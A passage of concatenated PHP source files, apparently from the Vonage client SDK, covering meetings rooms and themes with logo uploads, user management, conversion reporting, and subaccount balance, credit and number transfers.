($start_id || $end_id) { $start_id ? $filterParams['start_id'] = $start_id : null; $end_id ? $filterParams['end_id'] = $end_id : null; } $response = $this->api->search( $filterParams ? new KeyValueFilter($filterParams) : null, '/rooms', ); $response->setAutoAdvance(false); $response->getApiResource()->setCollectionName('rooms'); $response->setSize($size); $response->setIndex(null); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Room()); $response->setHydrator($hydrator); // Currently have to do this until we can extend off the Iterator to handle Meetings data structures $roomPayload = []; foreach ($response as $room) { $roomPayload[] = $room; } return $roomPayload; } public function getRecording(string $id): ?Recording { $this->api->setBaseUri('/recordings'); $response = $this->api->get($id); $recording = new Recording(); $recording->fromArray($response); return $recording; } public function deleteRecording(string $id): bool { $this->api->setBaseUri('/recordings'); $this->api->delete($id); return true; } public function getRecordingsFromSession(string $sessionId): array { $response = $this->api->get('sessions/' . $sessionId . '/recordings'); $recordings = []; foreach ($response as $recording) { $recordingEntity = new Recording(); $recordingEntity->fromArray($recording); $recordings[] = $recordingEntity; } return $recordings; } public function getDialInNumbers(): array { $response = $this->api->get('dial-in-numbers'); $numbers = []; foreach ($response as $dialInNumber) { $dialInEntity = new DialInNumber(); $dialInEntity->fromArray($dialInNumber); $numbers[] = $dialInEntity; } return $numbers; } public function getApplicationThemes(): array { $response = $this->api->get('themes'); $themes = []; foreach ($response as $applicationTheme) { $themeEntity = new ApplicationTheme(); $themeEntity->fromArray($applicationTheme); $themes[] = $themeEntity; } return $themes; } public function createApplicationTheme(string $name): ?ApplicationTheme { $this->api->setBaseUri('/themes'); $response = $this->api->create([ 'theme_name' => $name ]); $applicationTheme = new ApplicationTheme(); $applicationTheme->fromArray($response); return $applicationTheme; } public function getThemeById(string $id): ?ApplicationTheme { $this->api->setBaseUri('/themes'); $response = $this->api->get($id); $applicationTheme = new ApplicationTheme(); $applicationTheme->fromArray($response); return $applicationTheme; } public function deleteTheme(string $id, bool $force = false): bool { $this->api->setBaseUri('/themes'); if ($force) { $id .= '?force=true'; } $this->api->delete($id); return true; } public function updateTheme(string $id, array $payload): ?ApplicationTheme { $this->api->setBaseUri('/themes'); $response = $this->api->partiallyUpdate($id, $payload); $applicationTheme = new ApplicationTheme(); $applicationTheme->fromArray($response); return $applicationTheme; } public function getRoomsByThemeId(string $themeId, string $startId = null, string $endId = null, int $size = 20): array { $this->api->setIsHAL(true); $this->api->setCollectionName('rooms'); if ($startId || $endId) { $filterParams = []; $startId ? $filterParams['start_id'] = $startId : null; $endId ? $filterParams['end_id'] = $endId : null; if ($filterParams) { $response = $this->api->search(new KeyValueFilter($filterParams), '/themes/' . $themeId . '/rooms'); } } else { $response = $this->api->search(null, '/themes/' . $themeId . '/rooms'); } $response->setAutoAdvance(false); $response->setIndex(null); $response->setSize($size); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Room()); $response->setHydrator($hydrator); // Currently have to do this until we can extend off the Iterator to handle Meetings data structures $roomPayload = []; foreach ($response as $room) { $roomPayload[] = $room; } return $roomPayload; } public function finalizeLogosForTheme(string $themeId, array $payload): bool { $path = $themeId . '/finalizeLogos'; $this->api->setBaseUri('/themes'); $this->api->update($path, $payload); return true; } public function getUploadUrls(): array { $response = []; $awsUploadObjects = $this->api->get('themes/logos-upload-urls'); foreach ($awsUploadObjects as $routeObject) { $returnObject = new UrlObject(); $returnObject->fromArray($routeObject); $response[] = $returnObject; } return $response; } public function updateApplication(array $payload): ?Application { $response = $this->api->partiallyUpdate('applications', $payload); $application = new Application(); $application->fromArray($response); return $application; } /** * @throws NotFound */ public function returnCorrectUrlEntityFromType(array $uploadUrls, string $type): UrlObject { foreach ($uploadUrls as $urlObject) { if ($urlObject->fields['logoType'] === $type) { return $urlObject; } } throw new NotFound('Could not find correct image type'); } /** * @throws NotFound */ public function uploadImage(string $themeId, string $type, string $file): bool { if (!in_array($type, self::IMAGE_TYPES)) { throw new \InvalidArgumentException('Image type not recognised'); } $urlEntity = $this->returnCorrectUrlEntityFromType($this->getUploadUrls(), $type); $this->uploadToAws($urlEntity, $file); $payload = [ 'keys' => [ $urlEntity->fields['key'] ] ]; $this->finalizeLogosForTheme($themeId, $payload); return true; } public function uploadToAws(UrlObject $awsUrlObject, string $file): bool { $stream = new MultipartStream([ [ 'name' => 'Content-Type', 'contents' => $awsUrlObject->fields['Content-Type'] ], [ 'name' => 'key', 'contents' => $awsUrlObject->fields['key'] ], [ 'name' => 'logoType', 'contents' => $awsUrlObject->fields['logoType'] ], [ 'name' => 'bucket', 'contents' => $awsUrlObject->fields['bucket'] ], [ 'name' => 'X-Amz-Algorithm', 'contents' => $awsUrlObject->fields['X-Amz-Algorithm'] ], [ 'name' => 'X-Amz-Credential', 'contents' => $awsUrlObject->fields['X-Amz-Credential'] ], [ 'name' => 'X-Amz-Date', 'contents' => $awsUrlObject->fields['X-Amz-Date'] ], [ 'name' => 'X-Amz-Security-Token', 'contents' => $awsUrlObject->fields['X-Amz-Security-Token'] ], [ 'name' => 'Policy', 'contents' => $awsUrlObject->fields['Policy'] ], [ 'name' => 'X-Amz-Signature', 'contents' => $awsUrlObject->fields['X-Amz-Signature'] ], [ 'name' => 'file', 'contents' => $file ] ]); $awsRequest = new Request($awsUrlObject->url, 'PUT', $stream); $awsRequest = $awsRequest->withHeader('Content-Type', 'multipart/form-data'); $httpClient = $this->api->getClient()->getHttpClient(); $httpClient->sendRequest($awsRequest); return true; } } <?php declare(strict_types=1); namespace Vonage\Meetings; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\Exception\Conflict; use Vonage\Client\Exception\Credentials; use Vonage\Client\Exception\NotFound; use Vonage\Client\Exception\Validation; class ExceptionErrorHandler { public function __invoke(ResponseInterface $response, RequestInterface $request): void { match ($response->getStatusCode()) { 400 => throw new Validation('The request data was invalid'), 403 => throw new Credentials('You are not authorised to perform this request'), 404 => throw new NotFound('No resource found'), 409 => throw new Conflict('Entity conflict') }; } } <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ApplicationTheme implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Room implements ArrayHydrateInterface { protected array $data; public function fromArray(array $data): static { if (!isset($data['display_name'])) { throw new \InvalidArgumentException('A room object must contain a display_name'); } $this->data = $data; return $this; } public function toArray(): array { return array_filter($this->data, static function ($value) { return $value !== ''; }); } public function __get($value) { return $this->data[$value]; } } <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Recording implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Application implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } <?php namespace Vonage\Logger; use Psr\Log\LoggerInterface; trait LoggerTrait { /** * @var LoggerInterface */ protected $logger; public function getLogger(): ?LoggerInterface { return $this->logger; } /** * @param string|int $level Level of message that we are logging * @param array<mixed> $context Additional information for context */ public function log($level, string $message, array $context = []): void { $logger = $this->getLogger(); if ($logger) { $logger->log($level, $message, $context); } } public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } } <?php namespace Vonage\Logger; use Psr\Log\LoggerInterface; interface LoggerAwareInterface { public function getLogger(): ?LoggerInterface; /** * @param string|int $level Level of message that we are logging * @param array<mixed> $context Additional information for context */ public function log($level, string $message, array $context = []): void; /** * @return self */ public function setLogger(LoggerInterface $logger); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Conversion; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; /** * @todo Finish this Namespace */ class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api->setBaseUri('/conversions/'); $api->setAuthHandler(new BasicHandler()); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Conversion; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use function http_build_query; use function is_null; use function json_decode; class Client implements ClientAwareInterface, APIClient { use ClientAwareTrait; public function __construct(protected ?APIResource $api = null) { } public function getAPIResource(): APIResource { return $this->api; } /** * @param $message_id * @param $delivered * @param $timestamp * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function sms($message_id, $delivered, $timestamp = null): void { $this->sendConversion('sms', $message_id, $delivered, $timestamp); } /** * @param $message_id * @param $delivered * @param $timestamp * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function voice($message_id, $delivered, $timestamp = null): void { $this->sendConversion('voice', $message_id, $delivered, $timestamp); } /** * @param $type * @param $message_id * @param $delivered * @param $timestamp * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ protected function sendConversion($type, $message_id, $delivered, $timestamp = null): void { $params = [ 'message-id' => $message_id, 'delivered' => $delivered ]; if ($timestamp) { $params['timestamp'] = $timestamp; } $uri = $type . '?' . http_build_query($params); $this->getAPIResource()->create([], $uri); $response = $this->getAPIResource()->getLastResponse(); if (null === $response || (int)$response->getStatusCode() !== 200) { throw $this->getException($response); } } /** * @return ClientException\Exception|ClientException\Request|ClientException\Server */ protected function getException(ResponseInterface $response) { $body = json_decode($response->getBody()->getContents(), true); $status = (int)$response->getStatusCode(); if ($status === 402) { $e = new ClientException\Request('This endpoint may need activating on your account. ' . '"Please email support@Vonage.com for more information', $status); } elseif ($status >= 400 && $status < 500) { $e = new ClientException\Request($body['error_title'], $status); } elseif ($status >= 500 && $status < 600) { $e = new ClientException\Server($body['error_title'], $status); } else { $e = new ClientException\Exception('Unexpected HTTP Status Code (' . $status . ')'); } return $e; } } <?php declare(strict_types=1); namespace Vonage\Users\Filter; use InvalidArgumentException; use Vonage\Entity\Filter\FilterInterface; class UserFilter implements FilterInterface { public const ORDER_ASC = 'asc'; public const ORDER_DESC = 'desc'; protected ?int $pageSize = null; protected ?string $order = null; protected ?string $cursor = null; public function getQuery(): array { $query = []; if ($this->pageSize !== null) { $query['page_size'] = $this->getPageSize(); } if ($this->order !== null) { $query['order'] = $this->getOrder(); } if ($this->cursor !== null) { $query['cursor'] = $this->getCursor(); } return $query; } public function getPageSize(): int { return $this->pageSize; } public function setPageSize(int $pageSize): static { $this->pageSize = $pageSize; return $this; } public function getOrder(): string { return $this->order; } public function setOrder(string $order): static { if ($order !== self::ORDER_ASC && $order !== self::ORDER_DESC) { throw new InvalidArgumentException('Order must be `asc` or `desc`'); } $this->order = $order; return $this; } public function getCursor(): ?string { return $this->cursor; } public function setCursor(?string $cursor): static { $this->cursor = $cursor; return $this; } } <?php declare(strict_types=1); namespace Vonage\Users; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; use Vonage\Entity\Hydrator\ArrayHydrator; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api ->setBaseUri('/v1/users') ->setCollectionName('users') ->setAuthHandler(new KeypairHandler()); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new User()); return new Client($api, $hydrator); } } <?php declare(strict_types=1); namespace Vonage\Users; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Hydrator\HydratorInterface; use Vonage\Entity\IterableAPICollection; use Vonage\Entity\Filter\FilterInterface; use Vonage\Users\Filter\UserFilter; use function is_null; class Client implements ClientAwareInterface, APIClient { use ClientAwareTrait; public function __construct(protected APIResource $api, protected ?HydratorInterface $hydrator = null) { } public function getApiResource(): APIResource { return $this->api; } public function listUsers(FilterInterface $filter = null): IterableAPICollection { if (is_null($filter)) { $filter = new EmptyFilter(); } $response = $this->api->search($filter); $response->setHydrator($this->hydrator); $response->setPageSizeKey('page_size'); $response->setHasPagination(false); return $response; } public function createUser(User $user): User { $response = $this->api->create($user->toArray()); return $this->hydrator->hydrate($response); } public function getUser(string $id): User { $response = $this->api->get($id); return $this->hydrator->hydrate($response); return $returnUser; } public function updateUser(User $user): User { if (is_null($user->getId())) { throw new \InvalidArgumentException('User must have an ID set'); } $response = $this->api->partiallyUpdate($user->getId(), $user->toArray()); return $this->hydrator->hydrate($response); } public function deleteUser(string $id): bool { try { $this->api->delete($id); return true; } catch (ClientException $exception) { return false; } } } <?php namespace Vonage\Users; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class User implements ArrayHydrateInterface { protected ?string $id = null; protected ?string $name = null; protected ?string $displayName = null; protected ?string $imageUrl = null; protected ?array $properties = null; protected ?array $channels = null; protected ?string $selfLink = null; public function getId(): ?string { return $this->id; } public function setId(string $id): static { $this->id = $id; return $this; } public function getName(): ?string { return $this->name; } public function setName(string $name): static { $this->name = $name; return $this; } public function getDisplayName(): ?string { return $this->displayName; } public function setDisplayName(string $displayName): static { $this->displayName = $displayName; return $this; } public function getImageUrl(): ?string { return $this->imageUrl; } public function setImageUrl(string $imageUrl): static { $this->imageUrl = $imageUrl; return $this; } public function getProperties(): ?array { return $this->properties; } public function setProperties(array $properties): static { $this->properties = $properties; return $this; } public function getChannels(): array { return $this->channels; } public function setChannels(array $channels): static { $this->channels = $channels; return $this; } public function getSelfLink(): ?string { return $this->selfLink; } public function setSelfLink(string $selfLink): static { $this->selfLink = $selfLink; return $this; } public function fromArray(array $data): static { if (isset($data['id'])) { $this->setId($data['id']); } if (isset($data['name'])) { $this->setName($data['name']); } if (isset($data['display_name'])) { $this->setDisplayName($data['display_name']); } if (isset($data['image_url'])) { $this->setImageUrl($data['image_url']); } if (isset($data['properties'])) { $this->setProperties($data['properties']); } if (isset($data['channels'])) { $this->setChannels($data['channels']); } if (isset($data['_links']['self']['href'])) { $this->setSelfLink($data['_links']['self']['href']); } return $this; } public function toArray(): array { $data = []; if ($this->id !== null) { $data['id'] = $this->getId(); } if ($this->name !== null) { $data['name'] = $this->getName(); } if ($this->displayName !== null) { $data['display_name'] = $this->getDisplayName(); } if ($this->imageUrl !== null) { $data['image_url'] = $this->getImageUrl(); } if ($this->properties !== null) { $data['properties'] = $this->getProperties(); } if ($this->channels !== null) { $data['channels'] = $this->getChannels(); } if ($this->selfLink !== null) { $data['_links']['self']['href'] = $this->getSelfLink(); } return $data; } } <?php namespace Vonage\Subaccount\Filter; use Vonage\Client\Exception\Request; use Vonage\Entity\Filter\FilterInterface; class SubaccountFilter implements FilterInterface { public string $startDate = ''; public ?string $endDate = null; public ?string $subaccount = null; public static array $possibleParameters = [ 'start_date', 'end_date', 'subaccount' ]; public function __construct(array $filterValues) { foreach ($filterValues as $key => $value) { if (! in_array($key, self::$possibleParameters, true)) { throw new Request($value . ' is not a valid value'); } if (!is_string($value)) { throw new Request($value . ' is not a string'); } } if (array_key_exists('start_date', $filterValues)) { $this->setStartDate($filterValues['start_date']); } if ($this->startDate === '') { $this->startDate = date('Y-m-d'); } if (array_key_exists('end_date', $filterValues)) { $this->setEndDate($filterValues['end_date']); } if (array_key_exists('subaccount', $filterValues)) { $this->setSubaccount($filterValues['subaccount']); } } public function getQuery() { $data = []; if ($this->getStartDate()) { $data['start_date'] = $this->getStartDate(); } if ($this->getEndDate()) { $data['end_date'] = $this->getEndDate(); } if ($this->getSubaccount()) { $data['subaccount'] = $this->getSubaccount(); } return $data; } public function getEndDate(): ?string { return $this->endDate; } public function setEndDate(?string $endDate): void { $this->endDate = $endDate; } public function getStartDate(): ?string { return $this->startDate; } public function setStartDate(?string $startDate): void { $this->startDate = $startDate; } public function getSubaccount(): ?string { return $this->subaccount; } public function setSubaccount(?string $subaccount): void { $this->subaccount = $subaccount; } }<?php namespace Vonage\Subaccount; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\KeypairHandler; use Vonage\Verify2\Client; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api->setIsHAL(true) ->setErrorsOn200(false) ->setBaseUrl('https://api.nexmo.com/accounts'); return new Client($api); } }<?php declare(strict_types=1); namespace Vonage\Subaccount; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Filter\FilterInterface; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Subaccount\Request\NumberTransferRequest; use Vonage\Subaccount\Request\TransferBalanceRequest; use Vonage\Subaccount\Request\TransferCreditRequest; use Vonage\Subaccount\SubaccountObjects\Account; use Vonage\Subaccount\SubaccountObjects\BalanceTransfer; use Vonage\Subaccount\SubaccountObjects\CreditTransfer; class Client implements APIClient { public const PRIMARY_ACCOUNT_ARRAY_KEY = 'primary_account'; public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function getPrimaryAccount(string $apiKey): Account { $response = $this->api->get($apiKey . '/subaccounts'); return (new Account())->fromArray($response['_embedded'][self::PRIMARY_ACCOUNT_ARRAY_KEY]); } public function getSubaccount(string $apiKey, string $subaccountApiKey): Account { $response = $this->api->get($apiKey . '/subaccounts/' . $subaccountApiKey); return (new Account())->fromArray($response); } public function getSubaccounts(string $apiKey): array { $api = clone $this->api; $api->setCollectionName('subaccounts'); $collection = $this->api->search(null, '/' . $apiKey . '/subaccounts'); $collection->setNoQueryParameters(true); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Account()); $subaccounts = $collection->getPageData()['_embedded'][$api->getCollectionName()]; return array_map(function ($item) use ($hydrator) { return $hydrator->hydrate($item); }, $subaccounts); } public function createSubaccount(string $apiKey, Account $account): ?array { return $this->api->create($account->toArray(), '/' . $apiKey . '/subaccounts'); } public function makeBalanceTransfer(TransferBalanceRequest $transferRequest): BalanceTransfer { $response = $this->api->create($transferRequest->toArray(), '/' . $transferRequest->getApiKey() . '/balance-transfers'); return (new BalanceTransfer())->fromArray($response); } public function makeCreditTransfer(TransferCreditRequest $transferRequest): CreditTransfer { $response = $this->api->create($transferRequest->toArray(), '/' . $transferRequest->getApiKey() . '/credit-transfers'); return (new CreditTransfer())->fromArray($response); } public function updateSubaccount(string $apiKey, string $subaccountApiKey, Account $account): ?array { return $this->api->partiallyUpdate($apiKey . '/subaccounts/' . $subaccountApiKey, $account->toArray()); } public function getCreditTransfers(string $apiKey, FilterInterface $filter = null): mixed { if (!$filter) { $filter = new EmptyFilter(); } $response = $this->api->get($apiKey . '/credit-transfers', $filter->getQuery()); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new CreditTransfer()); $transfers = $response['_embedded']['credit_transfers']; return array_map(function ($item) use ($hydrator) { return $hydrator->hydrate($item); }, $transfers); } public function getBalanceTransfers(string $apiKey, FilterInterface $filter = null): mixed { if (!$filter) { $filter = new EmptyFilter(); } $response = $this->api->get($apiKey . '/balance-transfers', $filter->getQuery()); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new BalanceTransfer()); $transfers = $response['_embedded']['balance_transfers']; return array_map(function ($item) use ($hydrator) { return $hydrator->hydrate($item); }, $transfers); } public function makeNumberTransfer(NumberTransferRequest $request): ?array { return $this->api->create($request->toArray(), '/' . $request->getApiKey() . '/transfer-number'); } } <?php declare(strict_types=1); namespace Vonage\Subaccount\SubaccountObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class BalanceTransfer implements ArrayHydrateInterface { private string $balanceTransferId; private float $amount; private string $from; private string $to; private string $reference; private string $createdAt; public function getBalanceTransferId(): string { return $this->balanceTransferId; } public function setCreditTransferId(string $balanceTransferId): self { $this->balanceTransferId = $balanceTransferId; return $this; } public function getAmount(): float { return $this->amount; } public function setAmount(float $amount): self { $this->amount = $amount; return $this; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getCreatedAt(): string { return $this->createdAt; } public function setCreatedAt(string $createdAt): self { $this->createdAt = $createdAt; return $this; } public function fromArray(array $data): static { if (isset($data['balance_transfer_id'])) { $this->setCreditTransferId($data['balance_transfer_id']); } if (isset($data['amount'])) { $this->setAmount($data['amount']); } if (isset($data['from'])) { $this->setFrom($data['from']); } if (isset($data['to'])) { $this->setTo($data['to']); } if (isset($data['reference'])) { $this->setReference($data['reference']); } if (isset($data['created_at'])) { $this->setCreatedAt($data['created_at']); } return $this; } public function toArray(): array { return [ 'id' => $this->getBalanceTransferId(), 'amount' => $this->getAmount(), 'from' => $this->getFrom(), 'to' => $this->getTo(), 'reference' => $this->getReference(), 'created_at' => $this->getCreatedAt(), ]; } } <?php declare(strict_types=1); namespace Vonage\Subaccount\SubaccountObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Account implements ArrayHydrateInterface { protected ?string $apiKey = null; protected ?string $name = null; protected ?string $primaryAccountApiKey = null; protected ?bool $usePrimaryAccountBalance = null; protected ?string $createdAt = null; protected ?bool $suspended = null; protected ?float $balance = null; protected ?float $creditLimit = null; protected ?string $secret = null; public function getApiKey(): ?string { return $this->apiKey; } public function setApiKey(?string $apiKey): static { $this->apiKey = $apiKey; return $this; } public function getName(): ?string { return $this->name; } public function setName(?string $name): static { $this->name = $name; return $this; } public function getPrimaryAccountApiKey(): ?string { return $this->primaryAccountApiKey; } public function setPrimaryAccountApiKey(?string $primaryAccountApiKey): static { $this->primaryAccountApiKey = $primaryAccountApiKey; return $this; } public function getUsePrimaryAccountBalance(): ?bool { return $this->usePrimaryAccountBalance; } public function setUsePrimaryAccountBalance(?bool $usePrimaryAccountBalance): static { $this->usePrimaryAccountBalance = $usePrimaryAccountBalance; return $this; } public function getCreatedAt(): ?string { return $this->createdAt; } public function setCreatedAt(?string $createdAt): static { $this->createdAt = $createdAt; return $this; } public function getSuspended(): ?bool { return $this->suspended; } public function setSuspended(?bool $suspended): static { $this->suspended = $suspended; return $this; } public function getBalance(): ?float { return $this->balance; } public function setBalance(?float $balance): static { $this->balance = $balance; return $this; } public function getCreditLimit(): ?float { return $this->creditLimit; } public function setCreditLimit(?float $creditLimit): static { $this->creditLimit = $creditLimit; return $this; } public function toArray(): array { $data = []; if ($this->apiKey !== null) { $data['api_key'] = $this->getApiKey(); } if ($this->name !== null) { $data['name'] = $this->getName(); } if ($this->primaryAccountApiKey !== null) { $data['primary_account_api_key'] = $this->getPrimaryAccountApiKey(); } if ($this->usePrimaryAccountBalance !== null) { $data['use_primary_account_balance'] = $this->getUsePrimaryAccountBalance(); } if ($this->createdAt !== null) { $data['created_at'] = $this->getCreatedAt(); } if ($this->suspended !== null) { $data['suspended'] = $this->getSuspended(); } if ($this->balance !== null) { $data['balance'] = $this->getBalance(); } if ($this->creditLimit !== null) { $data['credit_limit'] = $this->getCreditLimit(); } if ($this->secret !== null) { $data['secret'] = $this->getSecret(); } return $data; } public function fromArray(array $data): static { if (isset($data['api_key'])) { $this->apiKey = $data['api_key']; } if (isset($data['name'])) { $this->name = $data['name']; } if (isset($data['primary_account_api_key'])) { $this->primaryAccountApiKey = $data['primary_account_api_key']; } if (isset($data['use_primary_account_balance'])) { $this->usePrimaryAccountBalance = $data['use_primary_account_balance']; } if (isset($data['created_at'])) { $this->createdAt = $data['created_at']; } if (isset($data['suspended'])) { $this->suspended = $data['suspended']; } if (isset($data['balance'])) { $this->balance = $data['balance']; } if (isset($data['credit_limit'])) { $this->creditLimit = $data['credit_limit']; } if (isset($data['secret'])) { $this->secret = $data['secret']; } return $this; } public function getSecret(): ?string { return $this->secret; } public function setSecret(?string $secret): void { $this->secret = $secret; } } <?php declare(strict_types=1); namespace Vonage\Subaccount\SubaccountObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class CreditTransfer implements ArrayHydrateInterface { private string $creditTransferId; private float $amount; private string $from; private string $to; private string $reference; private string $createdAt; public function getCreditTransferId(): string { return $this->creditTransferId; } public function setCreditTransferId(string $creditTransferId): self { $this->creditTransferId = $creditTransferId; return $this; } public function getAmount(): float { return $this->amount; } public function setAmount(float $amount): self { $this->amount = $amount; return $this; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getCreatedAt(): string { return $this->createdAt; } public function setCreatedAt(string $createdAt): self { $this->createdAt = $createdAt; return $this; } public function fromArray(array $data): static { if (isset($data['credit_transfer_id'])) { $this->setCreditTransferId($data['credit_transfer_id']); } if (isset($data['amount'])) { $this->setAmount($data['amount']); } if (isset($data['from'])) { $this->setFrom($data['from']); } if (isset($data['to'])) { $this->setTo($data['to']); } if (isset($data['reference'])) { $this->setReference($data['reference']); } if (isset($data['created_at'])) { $this->setCreatedAt($data['created_at']); } return $this; } public function toArray(): array { return [ 'id' => $this->getCreditTransferId(), 'amount' => $this->getAmount(), 'from' => $this->getFrom(), 'to' => $this->getTo(), 'reference' => $this->getReference(), 'created_at' => $this->getCreatedAt(), ]; } } <?php namespace Vonage\Subaccount\Request; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class NumberTransferRequest implements ArrayHydrateInterface { public function __construct( protected string $apiKey, protected string $from, protected string $to, protected string $number, protected string $country ) {} public function setFrom(string $from): self { $this->from = $from; return $this; } public function getFrom(): string { return $this->from; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getTo(): string { return $this->to; } public function setNumber(string $number): self { $this->number = $number; return $this; } public function getNumber(): string { return $this->number; } public function setCountry(string $country): self { $this->country = $country; return $this; } public function getCountry(): string { return $this->country; } public function fromArray(array $data): self { $this->from = $data['from'] ?? ''; $this->to = $data['to'] ?? ''; $this->number = $data['number'] ?? ''; $this->country = $data['country'] ?? ''; return $this; } public function toArray(): array { return [ 'from' => $this->getFrom(), 'to' => $this->getTo(), 'number' => $this->getNumber(), 'country' => $this->getCountry(), ]; } /** * @return string */ public function getApiKey(): string { return $this->apiKey; } public function setApiKey(string $apiKey): self { $this->apiKey = $apiKey; return $this; } } <?php namespace Vonage\Subaccount\Request; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class TransferCreditRequest implements ArrayHydrateInterface { private string $from; private string $to; private string $amount; private string $reference; public function __construct(protected string $apiKey) { } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getAmount(): string { return $this->amount; } public function setAmount(string $amount): self { $this->amount = $amount; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getApiKey(): string { return $this->apiKey; } public function setApiKey(string $apiKey): self { $this->apiKey = $apiKey; return $this; } public function fromArray(array $data): static { $this->from = $data['from']; $this->to = $data['to']; $this->amount = $data['amount']; $this->reference = $data['reference']; return $this; } public function toArray(): array { return [ 'from' => $this->getFrom(), 'to' => $this->getTo(), 'amount' => (float)$this->getAmount(), 'reference' => $this->getReference() ]; } } <?php namespace Vonage\Subaccount\Request; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class TransferBalanceRequest implements ArrayHydrateInterface { private string $from; private string $to; private string $amount; private string $reference; public function __construct(protected string $apiKey) { } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getAmount(): string { return $this->amount; } public function setAmount(string $amount): self { $this->amount = $amount; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getApiKey(): string { return $this->apiKey; } public function setApiKey(string $apiKey): self { $this->apiKey = $apiKey; return $this; } public function fromArray(array $data): static { $this->from = $data['from']; $this->to = $data['to']; $this->amount = $data['amount']; $this->reference = $data['reference']; return $this; } public function toArray(): array { return [ 'from' => $this->getFrom(), 'to' => $this->getTo(), 'amount' => (float)$this->getAmount(), 'reference' => $this->getReference() ]; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\NoRequestResponseTrait; use function get_class; use function ltrim; use function preg_replace; use function strtolower; use function trigger_error; class Network implements EntityInterface, ArrayHydrateInterface { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; /** * @var array */ protected array $data 